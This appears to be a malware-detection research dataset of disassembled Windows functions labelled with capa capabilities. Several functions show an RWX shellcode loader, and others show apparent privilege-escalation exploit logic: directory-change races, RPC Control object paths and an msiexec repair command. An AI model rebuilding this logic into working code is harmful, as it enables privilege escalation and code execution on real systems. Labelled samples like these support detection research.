joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002f838
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
xor edi, edi
lea r8, [0x14002f778]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [rsp + 0x64], edi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x98], rdi
call qword [sym.imp.GDI32.dll_GetStockObject]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x90], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rsi, str.notepad.exe
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x60]
lea rax, [0x140031ef0]
mov qword [rsp + 0xa0], rsi
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x60], 3
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x14002f900
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov rdx, rsi
call fcn.140032c28
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rdi
mov r9d, 0x80000000
mov qword [rsp + 0x50], rdi
xor r8d, r8d
mov qword [rsp + 0x48], rdi
mov rdx, rsi
mov qword [rsp + 0x40], rdi
xor ecx, ecx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x140044350], rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140044350]
lea rdx, [0x14003b9b0]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x140044350]
mov edx, 0xffffffec
mov r8d, 0x800a0
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x140044350]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140033220
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400300ac
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movaps xmmword [rsp + 0x50], xmm8
mov rax, qword [0x140043040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov eax, dword [0x140044298]
movaps xmm8, xmm0
cdq
xorps xmm3, xmm3
sub eax, edx
movaps xmm6, xmm1
sar eax, 1
xorps xmm2, xmm2
xorps xmm7, xmm7
movd xmm5, eax
mov eax, dword [0x1400441cc]
cdq
sub eax, edx
sar eax, 1
ucomiss xmm8, xmm3
movd xmm4, eax
cvtdq2ps xmm4, xmm4
cvtdq2ps xmm5, xmm5
jp 0x140030110
je 0x140030158
comiss xmm8, xmm5
jbe 0x14003013b
movaps xmm2, xmm5
movaps xmm0, xmm5
subss xmm2, xmm8
addss xmm0, xmm5
xorps xmm2, xmmword [0x14003e290]
movaps xmm1, xmm2
addss xmm1, xmm5
comiss xmm1, xmm0
jbe 0x14003013b
xorps xmm2, xmm2
comiss xmm5, xmm8
jbe 0x140030158
movaps xmm2, xmm8
subss xmm2, xmm5
movaps xmm0, xmm2
addss xmm0, xmm5
comiss xmm3, xmm0
jbe 0x140030158
xorps xmm2, xmm2
ucomiss xmm6, xmm3
jp 0x14003015f
je 0x1400301a3
comiss xmm6, xmm4
jbe 0x140030188
movaps xmm7, xmm4
movaps xmm0, xmm4
subss xmm7, xmm6
addss xmm0, xmm4
xorps xmm7, xmmword [0x14003e290]
movaps xmm1, xmm7
addss xmm1, xmm4
comiss xmm1, xmm0
jbe 0x140030188
xorps xmm7, xmm7
comiss xmm4, xmm6
jbe 0x1400301a3
movaps xmm7, xmm6
subss xmm7, xmm4
movaps xmm1, xmm7
addss xmm1, xmm4
comiss xmm3, xmm1
jbe 0x1400301a3
xorps xmm7, xmm7
divss xmm2, dword [0x14003e10c]
and dword [rsp + 0x20], 0
and dword [rsp + 0x30], 0
and dword [rsp + 0x38], 0
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_floorf
divss xmm7, dword [0x14003e10c]
cvttss2si eax, xmm0
movaps xmm0, xmm7
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, qword [0x1400441d8]
cvttsd2si eax, xmm1
mov dword [rsp + 0x28], eax
call sub.api_ms_win_crt_math_l1_1_0.dll_floorf
cvttss2si eax, xmm0
xor ecx, ecx
mov dword [rsp + 0x34], 0x4001
mov edx, 0x1000
mov r8d, edx
lea r9d, [rcx + 0x40]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
subsd xmm1, qword [0x1400442a8]
cvttsd2si eax, xmm1
mov dword [rsp + 0x2c], eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x14003028b
movups xmm0, xmmword [0x140044360]
mov r8d, 0x28
lea rdx, [rsp + 0x20]
movups xmmword [rax], xmm0
movsd xmm1, qword [0x140044370]
movsd qword [rax + 0x10], xmm1
mov ecx, dword [0x140044378]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x14004437c]
mov word [rax + 0x1c], cx
lea ecx, [r8 - 0x27]
call rbx
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140033220
movaps xmm6, xmmword [rsp + 0x70]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm8, xmmword [rsp + 0x50]
add rsp, 0x80
pop rbx
ret
Function at 0x140033e28
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140033e72
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140033e72
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140033e72
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140033e72
cmp dword [rcx + 0x84], 0xe
jbe 0x140033e72
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140033e74
xor al, al
add rsp, 0x28
ret

Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140006008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140006008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140006008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140006008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x14001103c
Capabilities:
Create directory
Create thread

Disassembly:
jmp 0x140016710
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xb6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x4b8]
lea rcx, [0x14002c1f3]
call fcn.1400115c8
call fcn.1400112d5
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov rcx, qword [0x140026008]
call fcn.140011451
mov rcx, qword [0x140026000]
call fcn.140011451
mov dword [rbp + 4], 0
mov dword [0x1400257dc], 1
xor edx, edx
mov rcx, qword [0x140026008]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor edx, edx
mov rcx, qword [0x140026000]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x100
mov rcx, qword [0x140026008]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400257c8], rax
cmp qword [0x1400257c8], 0
jne 0x140016807
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Cannot_open_directory__Error:__d_n
call fcn.14001128a
mov eax, 0xffffffff
jmp 0x14001690b
call fcn.14001162c
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x1400257b0], 1
mov r8d, 0x100
xor edx, edx
lea rcx, str.__C:Programdata
call fcn.140011479
lea rdx, str.__C:ProgramdataMicrosoft
lea rcx, str.__C:Programdata
call fcn.14001117c
mov eax, dword [0x1400257dc]
inc eax
mov dword [0x1400257dc], eax
call fcn.14001162c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x10000
lea rcx, str.C:ProgramDataMicrosoftVisualStudioSetupWMIMofCompiler.exe
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x2b8], rax
cmp qword [rbp + 0x2b8], 0xffffffffffffffff
je 0x14001685b
mov rcx, qword [rbp + 0x2b8]
call fcn.1400111c2
mov rcx, qword [rbp + 0x2b8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.___Persmissions_successfully_reseted__n___Starting_WMI_installer._n
call fcn.14001128a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400115e6]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140011640
cmp dword [0x1400257b4], 0
jne 0x140016905
jmp 0x1400168fa
jmp 0x140016909
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140021140]
call fcn.1400114e7
mov rax, rdi
lea rsp, [rbp + 0x458]
pop rdi
pop rbp
ret
Function at 0x1400112d5
Capabilities:
Terminate process

Disassembly:
jmp 0x140015b70
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14002c1f3]
call fcn.1400115c8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140015beb
lea rdx, str.RtlInitUnicodeString
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025fe8], rax
lea rdx, str.NtCreateFile
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025ff0], rax
lea rdx, str.NtSetInformationFile
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140025ff8], rax
cmp qword [0x140025fe8], 0
je 0x140015c09
cmp qword [0x140025ff0], 0
je 0x140015c09
cmp qword [0x140025ff8], 0
jne 0x140015c25
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Cannot_load_apis__d_n
call fcn.14001128a
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14001132f
Capabilities:
Terminate process

Disassembly:
jmp 0x140018540
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400113fc
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400198d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400198f0
xor al, al
jmp 0x140019971
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019903
xor al, al
jmp 0x140019971
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001992d
xor al, al
jmp 0x140019971
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140019941
xor al, al
jmp 0x140019971
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140019953
xor al, al
jmp 0x140019971
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001996f
xor al, al
jmp 0x140019971
mov al, 1
add rsp, 0x38
ret
Function at 0x140011546
Capabilities:
Query environment variable

Disassembly:
jmp 0x140014b60
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x122
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x718]
mov rax, qword [0x140025378]
xor rax, rbp
mov qword [rbp + 0x6b8], rax
lea rcx, [0x14002c1f3]
call fcn.1400115c8
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x6e0]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x140014bd9
mov dword [rbp + 0x6b4], 0
jmp 0x140014bec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140011230
mov dword [rbp + 0x6b4], eax
mov eax, dword [rbp + 0x6b4]
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jl 0x140014c7c
mov r8d, 0x104
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x260]
call qword [sym.imp.ucrtbased.dll__wfullpath]
test rax, rax
je 0x140014c29
mov dword [rbp + 0x6b4], 0
jmp 0x140014c33
mov dword [rbp + 0x6b4], 0x80004005
mov eax, dword [rbp + 0x6b4]
mov dword [rbp + 0x234], eax
cmp dword [rbp + 0x234], 0
jl 0x140014c7c
mov rcx, qword [rbp + 0x6f0]
call fcn.140011564
mov qword [rsp + 0x20], rax
lea r9, [0x1400212d8]
mov r8d, dword [rbp + 0x6e8]
xor edx, edx
lea rcx, [rbp + 0x260]
call qword [sym.imp.SHELL32.dll_SHGetPropertyStoreFromParsingName]
mov dword [rbp + 0x234], eax
mov eax, dword [rbp + 0x234]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140020d70]
call fcn.1400114e7
mov eax, edi
mov rcx, qword [rbp + 0x6b8]
xor rcx, rbp
call fcn.1400112a8
lea rsp, [rbp + 0x6c8]
pop rdi
pop rbp
ret
Function at 0x1400115a5
Capabilities:
Execute command

Disassembly:
jmp 0x140014d10
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xd6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x518]
mov rax, qword [0x140025378]
xor rax, rbp
mov qword [rbp + 0x4c8], rax
lea rcx, [0x14002c1f3]
call fcn.1400115c8
mov dword [rbp + 0x40], 0x68
lea rax, [rbp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
lea rdx, [rbp + 0x2e8]
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.PROPSYS.dll_PSGetPropertyKeyFromName]
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0
jl 0x140014e50
mov qword [rbp + 0x338], 0
lea r8, [rbp + 0x338]
xor edx, edx
mov rcx, qword [rbp + 0x4f0]
call fcn.140011546
mov dword [rbp + 0x314], eax
cmp dword [rbp + 0x314], 0
jl 0x140014e3c
mov r8, qword [rbp + 0x4f8]
lea rdx, [rbp + 0x2e8]
mov rcx, qword [rbp + 0x338]
call fcn.140011500
test eax, eax
je 0x140014e26
mov r8, qword [rbp + 0x4f0]
lea rdx, str.C:windows_system32msiexec.exe__fa__ls
lea rcx, [rbp + 0xd0]
call fcn.14001117c
lea rdx, [rbp + 0xd0]
lea rcx, str.___Command_to_execute:__ls_n
call fcn.14001128a
lea rcx, [rbp + 0xd0]
call qword [sym.imp.ucrtbased.dll__wsystem]
mov rax, qword [rbp + 0x338]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x338]
call qword [rax + 0x10]
jmp 0x140014e4e
mov edx, dword [rbp + 0x314]
lea rcx, str.Error__x:_getting_the_propertystore_for_the_item._n
call fcn.140011041
jmp 0x140014e63
mov rdx, qword [rbp + 0x4f8]
lea rcx, str.Invalid_property_specified:__s_n
call fcn.140011041
mov eax, dword [rbp + 0x314]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140020b90]
call fcn.1400114e7
mov eax, edi
mov rcx, qword [rbp + 0x4c8]
xor rcx, rbp
call fcn.1400112a8
lea rsp, [rbp + 0x4d8]
pop rdi
pop rbp
ret
Function at 0x1400115e1
Capabilities:
Create thread

Disassembly:
jmp 0x1400157d0
push rbp
push rdi
mov eax, 0x26e8
call fcn.1400110ff
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x82a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025378]
xor rax, rbp
mov qword [rbp + 0x2698], rax
lea rcx, [0x14002c1f3]
call fcn.1400115c8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x80000000
mov rcx, qword [0x140026000]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400257c0], rax
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001140b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x2000
rep stosb byte [rdi], al
mov dword [rbp + 0x2064], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rax, [rbp + 0x2064]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x50]
mov rcx, qword [0x1400257c0]
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
lea rax, [rbp + 0x50]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
cmp dword [rax + 4], 1
jne 0x14001595c
mov rax, qword [rbp + 8]
add rax, 0xc
lea rdx, str..scratch
mov rcx, rax
call fcn.1400110d7
test rax, rax
je 0x14001595c
mov rax, qword [rbp + 8]
add rax, 0xc
lea rdx, [0x140021668]
mov rcx, rax
call fcn.1400113f2
mov qword [rbp + 0x2088], rax
mov r8, qword [rbp + 0x2088]
lea rdx, str.GlobalGLOBALROOTRPC_ControlReport._s.diagsession
lea rcx, [0x1400259e0]
call fcn.14001117c
lea rdx, str.__C:Programdata
lea rcx, [0x1400259e0]
call fcn.140011186
mov dword [rbp + 0x24], 1
cmp dword [rbp + 0x24], 1
jne 0x140015882
lea rcx, [rbp - 0x40]
lea rdx, [0x140020e40]
call fcn.1400114e7
mov rcx, qword [rbp + 0x2698]
xor rcx, rbp
call fcn.1400112a8
lea rsp, [rbp + 0x26a8]
pop rdi
pop rbp
ret
Function at 0x14001162c
Capabilities:
Create thread

Disassembly:
jmp 0x1400145b0
push rbp
push rdi
mov eax, 0x28e8
call fcn.1400110ff
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x8aa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025378]
xor rax, rbp
mov qword [rbp + 0x2898], rax
lea rcx, [0x14002c1f3]
call fcn.1400115c8
mov dword [rbp + 4], 0
mov rdx, qword [0x140026000]
mov rcx, qword [0x1400257c8]
call fcn.1400115fa
call fcn.1400115e1
mov rcx, qword [0x1400257c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2200000
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 7
mov edx, 0x80000000
mov rcx, qword [0x140026000]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1400257c0], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400113cf]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0x80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edx, 0xf
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rax, [rbp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
lea rax, [rbp + 0x270]
mov rdi, rax
xor eax, eax
mov ecx, 0x2000
rep stosb byte [rdi], al
mov dword [rbp + 0x2284], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
lea rax, [rbp + 0x2284]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x270]
mov rcx, qword [0x1400257c0]
call qword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
lea rax, [rbp + 0x270]
mov qword [0x140025fe0], rax
mov rax, qword [0x140025fe0]
cmp dword [rax + 4], 1
jne 0x14001477f
mov rax, qword [0x140025fe0]
add rax, 0xc
lea rdx, str.Report.
mov rcx, rax
call fcn.1400110d7
test rax, rax
je 0x14001477f
lea rdx, str.RPC_Control
mov rcx, qword [0x1400257c8]
call fcn.1400115fa
mov dword [rbp + 4], 1
cmp dword [rbp + 4], 1
jne 0x1400146cb
lea rcx, [rbp - 0x40]
lea rdx, [0x140020810]
call fcn.1400114e7
mov rcx, qword [rbp + 0x2898]
xor rcx, rbp
call fcn.1400112a8
lea rsp, [rbp + 0x28a8]
pop rdi
pop rbp
ret
Function at 0x140011640
Capabilities:
Enumerate files on windows

Disassembly:
jmp 0x140015500
push rbp
push rdi
sub rsp, 0x718
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x12e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140025378]
xor rax, rbp
mov qword [rbp + 0x6e8], rax
lea rcx, [0x14002c1f3]
call fcn.1400115c8
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x10]
lea rcx, str.C:windowsinstaller.msi
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x278], rax
lea rax, [rbp + 0x2a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x200
rep stosb byte [rdi], al
lea r8, [rbp + 0x3c]
lea rdx, str.C:windowsinstaller_s
lea rcx, [rbp + 0x2a0]
call fcn.14001117c
lea rdx, str.System.Subject
lea rcx, [rbp + 0x2a0]
call fcn.1400115a5
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x278]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140015560
lea rcx, [rbp - 0x20]
lea rdx, [0x140020a00]
call fcn.1400114e7
mov rcx, qword [rbp + 0x6e8]
xor rcx, rbp
call fcn.1400112a8
lea rsp, [rbp + 0x6f8]
pop rdi
pop rbp
ret
Function at 0x1400047a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
mov qword [rbp - 9], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rcx
xor r12d, r12d
mov dword [rbp - 0x49], r12d
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp - 0x41], rax
lea rsi, vtable.CVolObject.0
mov qword [rbp - 0x41], rsi
mov qword [rbp - 0x39], r12
mov qword [rbp - 0x31], r12
lea r13, vtable.CVolMem.0
mov qword [rbp - 0x41], r13
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x21], r12
mov qword [rbp - 0x11], 0x40
mov qword [rbp - 0x19], r12
mov rbx, qword [0x1402a0e30]
test rbx, rbx
jne 0x140004847
lea r8d, [r12 + 0x30]
lea rdx, [rbp - 1]
lea rcx, [0x1400143b0]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ebx, r12d
test rax, rax
cmovne rbx, qword [rbp + 7]
mov edx, 0x1f4
mov r8d, 0xa
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
test rax, rax
je 0x1400048b7
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
je 0x1400048b0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
je 0x1400048a7
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r8d, eax
mov qword [rbp - 0x19], r12
mov rdx, r15
lea rcx, [rbp - 0x41]
call fcn.140015060
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rsi, vtable.CVolObject.0
mov r8d, 0x62
lea rdx, [rbp - 0x41]
mov rcx, rdi
call fcn.140004c10
mov dword [rbp - 0x49], 1
mov qword [rbp - 0x41], r13
mov rdx, qword [rbp - 0x29]
test rdx, rdx
je 0x1400048f6
mov rax, qword [rbp - 0x41]
mov r8, qword [rax + 0x18]
cmp rax, r13
jne 0x14000492a
lea rcx, [0x1402a0c68]
call fcn.1400158d0
mov qword [rbp - 0x29], r12
mov qword [rbp - 0x19], r12
mov qword [rbp - 0x21], r12
mov qword [rbp - 0x41], rsi
mov rax, rdi
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp - 0x41]
call r8
jmp 0x1400048f6